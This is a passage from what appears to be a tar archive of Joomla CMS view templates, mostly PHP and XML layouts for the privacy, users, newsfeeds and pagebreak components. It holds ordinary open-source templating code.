                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
confirm/default.xml000064400000000462151727326150010362 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_PRIVACY_CONFIRM_VIEW_DEFAULT_TITLE" option="COM_PRIVACY_CONFIRM_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Confirm_Request"
		/>
		<message>
			<![CDATA[COM_PRIVACY_CONFIRM_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
request/default.php000064400000010426151727326150010405 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Actionlogs\Administrator\Helper\ActionlogsHelper;

/** @var \Joomla\Component\Privacy\Administrator\View\Request\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');
?>
<form action="<?php echo Route::_('index.php?option=com_privacy&view=request&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate">
    <div class="row mt-3">
        <div class="col-12 col-md-4 mb-3">
            <div class="card">
                <h3 class="card-header"><?php echo Text::_('COM_PRIVACY_HEADING_REQUEST_INFORMATION'); ?></h3>
                <div class="card-body">
                    <dl class="dl-horizontal">
                        <dt><?php echo Text::_('JGLOBAL_EMAIL'); ?>:</dt>
                        <dd><?php echo $this->item->email; ?></dd>

                        <dt><?php echo Text::_('JSTATUS'); ?>:</dt>
                        <dd><?php echo HTMLHelper::_('privacy.statusLabel', $this->item->status); ?></dd>

                        <dt><?php echo Text::_('COM_PRIVACY_FIELD_REQUEST_TYPE_LABEL'); ?>:</dt>
                        <dd><?php echo Text::_('COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_' . $this->item->request_type); ?></dd>

                        <dt><?php echo Text::_('COM_PRIVACY_FIELD_REQUESTED_AT_LABEL'); ?>:</dt>
                        <dd><?php echo HTMLHelper::_('date', $this->item->requested_at, Text::_('DATE_FORMAT_LC6')); ?></dd>
                    </dl>
                </div>
            </div>
        </div>
        <div class="col-12 col-md-8 mb-3">
            <div class="card">
                <h3 class="card-header"><?php echo Text::_('COM_PRIVACY_HEADING_ACTION_LOG'); ?></h3>
                <div class="card-body">
                    <?php if (empty($this->actionlogs)) : ?>
                        <div class="alert alert-info">
                            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                            <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                        </div>
                    <?php else : ?>
                        <table class="table">
                            <thead>
                                <th>
                                    <?php echo Text::_('COM_ACTIONLOGS_ACTION'); ?>
                                </th>
                                <th>
                                    <?php echo Text::_('COM_ACTIONLOGS_DATE'); ?>
                                </th>
                                <th>
                                    <?php echo Text::_('COM_ACTIONLOGS_NAME'); ?>
                                </th>
                            </thead>
                            <tbody>
                                <?php foreach ($this->actionlogs as $i => $item) : ?>
                                    <tr class="row<?php echo $i % 2; ?>">
                                        <td>
                                            <?php echo ActionlogsHelper::getHumanReadableLogMessage($item); ?>
                                        </td>
                                        <td>
                                            <?php echo HTMLHelper::_('date', $item->log_date, Text::_('DATE_FORMAT_LC6')); ?>
                                        </td>
                                        <td>
                                            <?php echo $item->name; ?>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    <?php endif;?>
                </div>
            </div>
        </div>
    </div>

    <input type="hidden" name="task" value="" />
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
request/default.xml000064400000000461151727326150010414 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_PRIVACY_REQUEST_VIEW_DEFAULT_TITLE" option="COM_PRIVACY_REQUEST_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Create_Request"
		/>
		<message>
			<![CDATA[COM_PRIVACY_REQUEST_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
remind/default.php000064400000003301151727326150010165 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<div class="com-users-remind remind">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php echo $this->escape($this->params->get('page_heading')); ?>
            </h1>
        </div>
    <?php endif; ?>
    <form id="user-registration" action="<?php echo Route::_('index.php?option=com_users&task=remind.remind'); ?>" method="post" class="com-users-remind__form form-validate form-horizontal well">
        <?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
            <fieldset>
                <?php if (isset($fieldset->label)) : ?>
                    <legend><?php echo Text::_($fieldset->label); ?></legend>
                <?php endif; ?>
                <?php echo $this->form->renderFieldset($fieldset->name); ?>
            </fieldset>
        <?php endforeach; ?>
        <div class="com-users-remind__submit control-group">
            <div class="controls">
                <button type="submit" class="btn btn-primary validate">
                    <?php echo Text::_('JSUBMIT'); ?>
                </button>
            </div>
        </div>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
remind/default.xml000064400000000465151727326150010206 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_USERS_REMIND_VIEW_DEFAULT_TITLE" option="COM_USERS_REMIND_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Username_Reminder_Request"
		/>
		<message>
			<![CDATA[COM_USERS_REMIND_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
color.php000064400000000632151727334710006406 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Color
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '') {
    return;
}

if (is_array($value)) {
    $value = implode(', ', $value);
}

echo htmlentities($value);
requests/default.php000064400000016641151727346160010600 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\String\PunycodeHelper;

/** @var \Joomla\Component\Privacy\Administrator\View\Request\HtmlView $this */

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$now       = Factory::getDate();

$urgentRequestDate = clone $now;
$urgentRequestDate->sub(new DateInterval('P' . $this->urgentRequestAge . 'D'));

?>
<form action="<?php echo Route::_('index.php?option=com_privacy&view=requests'); ?>" method="post" name="adminForm" id="adminForm">
    <div id="j-main-container">
        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table" id="requestList">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_PRIVACY_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <th scope="col" class="w-5 text-center">
                            <?php echo Text::_('COM_PRIVACY_HEADING_ACTIONS'); ?>
                        </th>
                        <th scope="col" class="w-5 text-center">
                            <?php echo Text::_('JSTATUS'); ?>
                        </th>
                        <th scope="col">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_EMAIL', 'a.email', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_PRIVACY_HEADING_REQUEST_TYPE', 'a.request_type', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-15">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_PRIVACY_HEADING_REQUESTED_AT', 'a.requested_at', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($this->items as $i => $item) : ?>
                        <?php
                        $itemRequestedAt = new Date($item->requested_at);
                        ?>
                        <tr>
                            <td class="text-center">
                                <div class="btn-group">
                                    <?php if ($item->status == 1 && $item->request_type === 'export') : ?>
                                        <a class="btn tbody-icon" href="<?php echo Route::_('index.php?option=com_privacy&task=request.export&format=xml&id=' . (int) $item->id); ?>" title="<?php echo Text::_('COM_PRIVACY_ACTION_EXPORT_DATA'); ?>"><span class="icon-download" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_PRIVACY_ACTION_EXPORT_DATA'); ?></span></a>
                                        <?php if ($this->sendMailEnabled) : ?>
                                            <a class="btn tbody-icon" href="<?php echo Route::_('index.php?option=com_privacy&task=request.emailexport&id=' . (int) $item->id . '&' . Factory::getSession()->getFormToken() . '=1'); ?>" title="<?php echo Text::_('COM_PRIVACY_ACTION_EMAIL_EXPORT_DATA'); ?>"><span class="icon-mail" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_PRIVACY_ACTION_EMAIL_EXPORT_DATA'); ?></span></a>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <?php if ($item->status == 1 && $item->request_type === 'remove') : ?>
                                        <a class="btn tbody-icon" href="<?php echo Route::_('index.php?option=com_privacy&task=request.remove&id=' . (int) $item->id . '&' . Factory::getSession()->getFormToken() . '=1'); ?>" title="<?php echo Text::_('COM_PRIVACY_ACTION_DELETE_DATA'); ?>"><span class="icon-times" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('COM_PRIVACY_ACTION_DELETE_DATA'); ?></span></a>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td class="text-center">
                                <?php echo HTMLHelper::_('privacy.statusLabel', $item->status); ?>
                            </td>
                            <th scope="row">
                                <?php if ($item->status == 1 && $urgentRequestDate >= $itemRequestedAt) : ?>
                                    <span class="float-end badge bg-danger"><?php echo Text::_('COM_PRIVACY_BADGE_URGENT_REQUEST'); ?></span>
                                <?php endif; ?>
                                <a href="<?php echo Route::_('index.php?option=com_privacy&view=request&id=' . (int) $item->id); ?>" title="<?php echo Text::_('COM_PRIVACY_ACTION_VIEW'); ?>">
                                    <?php echo $this->escape(PunycodeHelper::emailToUTF8($item->email)); ?>
                                </a>
                            </th>
                            <td>
                                <?php echo Text::_('COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_' . $item->request_type); ?>
                            </td>
                            <td>
                                <?php echo HTMLHelper::_('date.relative', $itemRequestedAt, null, $now); ?>
                                <div class="small">
                                    <?php echo HTMLHelper::_('date', $item->requested_at, Text::_('DATE_FORMAT_LC6')); ?>
                                </div>
                            </td>
                            <td>
                                <?php echo (int) $item->id; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <input type="hidden" name="task" value="" />
        <input type="hidden" name="boxchecked" value="0" />
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
requests/default.xml000064400000000322151727346160010576 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_PRIVACY_REQUESTS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_PRIVACY_REQUESTS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
requests/emptystate.php000064400000001443151727346160011345 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_PRIVACY_REQUESTS',
    'formURL'    => 'index.php?option=com_privacy&view=requests',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help40:Privacy:_Information_Requests',
    'icon'       => 'icon-lock',
];

if (Factory::getApplication()->get('mailonline', 1)) {
    $displayData['createURL'] = 'index.php?option=com_privacy&task=request.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
consents/default.php000064400000014336151727346160010560 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Privacy\Administrator\View\Consents\HtmlView $this */

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user       = Factory::getUser();
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$now        = Factory::getDate();
$stateIcons = [-1 => 'delete', 0 => 'archive', 1 => 'publish'];
$stateMsgs  = [
    -1 => Text::_('COM_PRIVACY_CONSENTS_STATE_INVALIDATED'),
    0 => Text::_('COM_PRIVACY_CONSENTS_STATE_OBSOLETE'),
    1 => Text::_('COM_PRIVACY_CONSENTS_STATE_VALID')
];

?>
<form action="<?php echo Route::_('index.php?option=com_privacy&view=consents'); ?>" method="post" name="adminForm" id="adminForm">
    <div id="j-main-container">
        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table" id="consentList">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_PRIVACY_TABLE_CONSENTS_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <td class="w-1 text-center">
                            <?php echo HTMLHelper::_('grid.checkall'); ?>
                        </td>
                        <th scope="col" class="w-5 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_USERNAME', 'u.username', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_PRIVACY_HEADING_NAME', 'u.name', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_PRIVACY_HEADING_USERID', 'a.user_id', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_PRIVACY_HEADING_CONSENTS_SUBJECT', 'a.subject', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col">
                            <?php echo Text::_('COM_PRIVACY_HEADING_CONSENTS_BODY'); ?>
                        </th>
                        <th scope="col" class="w-15">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_PRIVACY_HEADING_CONSENTS_CREATED', 'a.created', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($this->items as $i => $item) : ?>
                        <tr>
                            <td class="text-center">
                                <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->username); ?>
                            </td>
                            <td class="tbody-icon">
                                <span class="icon-<?php echo $stateIcons[$item->state]; ?>" aria-hidden="true" title="<?php echo $stateMsgs[$item->state]; ?>"></span>
                                <span class="visually-hidden"><?php echo $stateMsgs[$item->state]; ?>"></span>
                            </td>
                            <th scope="row">
                                <?php echo $item->username; ?>
                            </th>
                            <td>
                                <?php echo $item->name; ?>
                            </td>
                            <td>
                                <?php echo $item->user_id; ?>
                            </td>
                            <td>
                                <?php echo Text::_($item->subject); ?>
                            </td>
                            <td>
                                <?php echo $item->body; ?>
                            </td>
                            <td class="break-word">
                                <?php echo HTMLHelper::_('date.relative', new Date($item->created), null, $now); ?>
                                <div class="small">
                                    <?php echo HTMLHelper::_('date', $item->created, Text::_('DATE_FORMAT_LC6')); ?>
                                </div>
                            </td>
                            <td>
                                <?php echo (int) $item->id; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        <?php endif; ?>

        <input type="hidden" name="task" value="" />
        <input type="hidden" name="boxchecked" value="0" />
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
consents/emptystate.php000064400000001164151727346160011326 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_PRIVACY_CONSENTS',
    'formURL'    => 'index.php?option=com_privacy&view=consents',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help40:Privacy:_Consents',
    'icon'       => 'icon-lock',
];

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
consents/default.xml000064400000000322151727346160010557 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_PRIVACY_CONSENTS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_PRIVACY_CONSENTS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
request/edit.php000064400000002670151727346160007713 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Privacy\Administrator\View\Request\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>

<form action="<?php echo Route::_('index.php?option=com_privacy&view=request&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" aria-label="<?php echo Text::_('COM_PRIVACY_REQUEST_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">
    <div class="form-horizontal">
        <div class="card mt-3">
            <div class="card-body">
                <fieldset class="adminform">
                    <?php echo $this->form->renderField('email'); ?>
                    <?php echo $this->form->renderField('status'); ?>
                    <?php echo $this->form->renderField('request_type'); ?>
                </fieldset>
            </div>
        </div>

        <input type="hidden" name="task" value="" />
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
capabilities/default.php000064400000003604151727346160011351 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var \Joomla\Component\Privacy\Administrator\View\Capabilities\HtmlView $this */

?>
<div id="j-main-container" class="main-card p-4">
    <div class="alert alert-info">
        <h2 class="alert-heading"><?php echo Text::_('COM_PRIVACY_MSG_CAPABILITIES_ABOUT_THIS_INFORMATION'); ?></h2>
        <?php echo Text::_('COM_PRIVACY_MSG_CAPABILITIES_INTRODUCTION'); ?>
    </div>
    <?php if (empty($this->capabilities)) : ?>
        <div class="alert alert-info">
            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
            <?php echo Text::_('COM_PRIVACY_MSG_CAPABILITIES_NO_CAPABILITIES'); ?>
        </div>
    <?php else : ?>
        <?php foreach ($this->capabilities as $extension => $capabilities) : ?>
            <details>
            <summary><?php echo $extension; ?></summary>
                <?php if (empty($capabilities)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('COM_PRIVACY_MSG_EXTENSION_NO_CAPABILITIES'); ?>
                    </div>
                <?php else : ?>
                    <ul>
                        <?php foreach ($capabilities as $capability) : ?>
                            <li><?php echo $capability; ?></li>
                        <?php endforeach; ?>
                    </ul>
                <?php endif; ?>
            </details>
        <?php endforeach; ?>
    <?php endif; ?>
</div>
toc.php000064400000001635151727362250006061 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;

?>
<div class="card float-end article-index ms-3 mb-3">
    <div class="card-body">

        <?php if ($headingtext) : ?>
        <h3><?php echo $headingtext; ?></h3>
        <?php endif; ?>

        <ul class="nav flex-column">
        <?php foreach ($list as $listItem) : ?>
            <?php $class = $listItem->active ? ' active' : ''; ?>
            <li class="py-1">
                <a href="<?php echo Route::_($listItem->link); ?>" class="toclink<?php echo $class; ?>">
                    <?php echo $listItem->title; ?>
                </a>
            </li>
        <?php endforeach; ?>
        </ul>
    </div>
</div>
navigation.php000064400000003671151727362250007435 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/**
 * @var $links   array    Array with keys 'previous' and 'next' with non-SEO links to the previous and next pages
 * @var $page    integer  The page number
 */

$lang = $this->getApplication()->getLanguage();
?>
<ul class="pagination">
    <li class="previous page-item">
        <?php if ($links['previous']) :
            $direction = $lang->isRtl() ? 'right' : 'left';
            $title = htmlspecialchars($this->list[$page]->title, ENT_QUOTES, 'UTF-8');
            $ariaLabel = Text::_('JPREVIOUS') . ': ' . $title . ' (' . Text::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', $page, $n) . ')';
            ?>
        <a class="page-link" href="<?php echo Route::_($links['previous']); ?>" title="<?php echo $title; ?>" aria-label="<?php echo $ariaLabel; ?>" rel="prev">
            <?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span> ' . Text::_('JPREV'); ?>
        </a>
        <?php endif; ?>
    </li>
    <li class="next page-item">
        <?php if ($links['next']) :
            $direction = $lang->isRtl() ? 'left' : 'right';
            $title = htmlspecialchars($this->list[$page + 2]->title, ENT_QUOTES, 'UTF-8');
            $ariaLabel = Text::_('JNEXT') . ': ' . $title . ' (' . Text::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', ($page + 2), $n) . ')';
            ?>
        <a class="page-link" href="<?php echo Route::_($links['next']); ?>" title="<?php echo $title; ?>" aria-label="<?php echo $ariaLabel; ?>" rel="next">
            <?php echo Text::_('JNEXT') . ' <span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?>
        </a>
        <?php endif; ?>
    </li>
</ul>
newsfeed/modal.php000064400000000603151727402510010154 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="container-popup">
    <?php $this->setLayout('edit'); ?>
    <?php echo $this->loadTemplate(); ?>
</div>
newsfeed/edit.php000064400000012126151727402510010010 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$app   = Factory::getApplication();
$input = $app->getInput();

$assoc = Associations::isEnabled();

// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = ['images', 'jbasic', 'jmetadata', 'item_associations'];
$this->useCoreUI = true;

// In case of modal
$isModal = $input->get('layout') === 'modal';
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo Route::_('index.php?option=com_newsfeeds&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="newsfeed-form" aria-label="<?php echo Text::_('COM_NEWSFEEDS_FORM_TITLE_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', empty($this->item->id) ? Text::_('COM_NEWSFEEDS_NEW_NEWSFEED') : Text::_('COM_NEWSFEEDS_EDIT_NEWSFEED')); ?>
        <div class="row">
            <div class="col-lg-9">
                <div class="form-vertical">
                    <?php echo $this->form->renderField('link'); ?>
                    <?php echo $this->form->renderField('description'); ?>
                </div>
            </div>
            <div class="col-lg-3">
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'images', Text::_('JGLOBAL_FIELDSET_OPTIONS')); ?>
        <div class="row">
            <div class="col-md-6">
                <fieldset id="fieldset-image" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_IMAGE_OPTIONS'); ?></legend>
                    <div>
                    <?php foreach ($this->form->getGroup('images') as $field) : ?>
                        <?php echo $field->renderField(); ?>
                    <?php endforeach; ?>
                    </div>
                </fieldset>
            </div>
            <div class="col-md-6">
                    <?php echo $this->loadTemplate('display'); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
        <div class="row">
            <div class="col-md-6">
                <fieldset id="fieldset-publishingdata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
                    <div>
                    <?php echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
                    </div>
                </fieldset>
            </div>
            <div class="col-md-6">
                <fieldset id="fieldset-metadata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS'); ?></legend>
                    <div>
                    <?php echo LayoutHelper::render('joomla.edit.metadata', $this); ?>
                    </div>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if (!$isModal && $assoc) : ?>
